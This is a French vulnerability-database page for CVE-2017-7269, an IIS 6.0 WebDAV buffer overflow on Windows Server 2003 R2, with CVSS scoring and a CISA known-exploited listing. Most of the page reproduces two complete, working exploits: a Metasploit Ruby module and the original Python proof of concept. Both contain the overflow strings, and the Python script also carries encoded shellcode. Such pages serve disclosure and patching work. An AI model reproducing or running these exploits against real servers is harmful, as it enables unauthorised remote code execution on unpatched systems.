Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-120 |
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Windows Server Buffer Overflow Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2021-11-02 23h00 +00:00
Action attendue : 2022-05-02 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 41992
Date de publication : 2017-05-10 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
'Description' => %q{
Buffer overflow in the ScStoragePathFromUrl function
in the WebDAV service in Internet Information Services (IIS) 6.0
in Microsoft Windows Server 2003 R2 allows remote attackers to
execute arbitrary code via a long header beginning with
"If: <http://" in a PROPFIND request, as exploited in the
wild in July or August 2016.
Original exploit by Zhiniang Peng and Chen Wu.
},
'Author' =>
[
'Zhiniang Peng', # Original author
'Chen Wu', # Original author
'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
'firefart', # metasploit module
'zcgonvh <zcgonvh@qq.com>', # metasploit module
'Rich Whitcroft' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7269' ],
[ 'BID', '97127' ],
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'DisableNops' => 'True',
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true,
},
'Targets' =>
[
[
'Microsoft Windows Server 2003 R2 SP2',
{
'Platform' => 'win',
},
],
],
'Platform' => 'win',
'DisclosureDate' => 'Mar 26 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
])
end
def min_path_len
datastore['MINPATHLENGTH']
end
def max_path_len
datastore['MAXPATHLENGTH']
end
def supports_webdav?(headers)
if headers['MS-Author-Via'] == 'DAV' ||
headers['DASL'] == '<DAV:sql>' ||
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
headers['Public'] =~ /PROPFIND/ ||
headers['Allow'] =~ /PROPFIND/
return true
else
return false
end
end
def check
res = send_request_cgi({
'uri' => target_uri.path,
'method' => 'OPTIONS'
})
if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
return Exploit::CheckCode::Vulnerable
elsif res && supports_webdav?(res.headers)
return Exploit::CheckCode::Detected
elsif res.nil?
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Safe
end
end
def exploit
# extract the local servername and port from a PROPFIND request
# these need to be the values from the backend server
# if testing a reverse proxy setup, these values differ
# from RHOST and RPORT but can be extracted this way
vprint_status("Extracting ServerName and Port")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0
},
'uri' => target_uri.path
)
fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207)
xml = res.get_xml_document
url = URI.parse(xml.at("//a:response//a:href").text)
server_name = url.hostname
server_port = url.port
server_scheme = url.scheme
http_host = "#{server_scheme}://#{server_name}:#{server_port}"
vprint_status("Using http_host #{http_host}")
min_path_len.upto(max_path_len) do |path_len|
vprint_status("Trying path length of #{path_len}...")
begin
buf1 = "<#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
buf1 << payload.encoded
buf1 << ">"
vprint_status("Sending payload")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0,
'If' => "#{buf1}"
},
'uri' => target_uri.path
)
if res
vprint_status("Server returned status #{res.code}")
if res.code == 502 || res.code == 400
next
elsif session_created?
return
else
vprint_status("Unknown Response: #{res.code}")
end
end
rescue ::Errno::ECONNRESET
vprint_status("got a connection reset")
next
end
end
end
end
Exploit Database EDB-ID : 41738
Date de publication : 2017-03-26 22h00 +00:00
Auteur : Zhiniang Peng & Chen Wu
EDB Vérifié : No
'''
Description:Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016.
Additional Information: the ScStoragePathFromUrl function is called twice
Vulnerability Type: Buffer overflow
Vendor of Product: Microsoft
Affected Product Code Base: Windows Server 2003 R2
Affected Component: ScStoragePathFromUrl
Attack Type: Remote
Impact Code execution: true
Attack Vectors: crafted PROPFIND data
Has vendor confirmed or acknowledged the vulnerability?:true
Discoverer:Zhiniang Peng and Chen Wu.
Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China
'''
#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.
#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China
#-----------Email: edwardz@foxmail.com
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'
pay+=shellcode
pay+='>\r\n\r\n'
print pay
sock.send(pay)
data = sock.recv(80960)
print data
sock.close
Products Mentioned
Configuraton 0
Microsoft>>Internet_information_services >> Version 6.0
Microsoft>>Windows_server_2003 >> Version r2
Références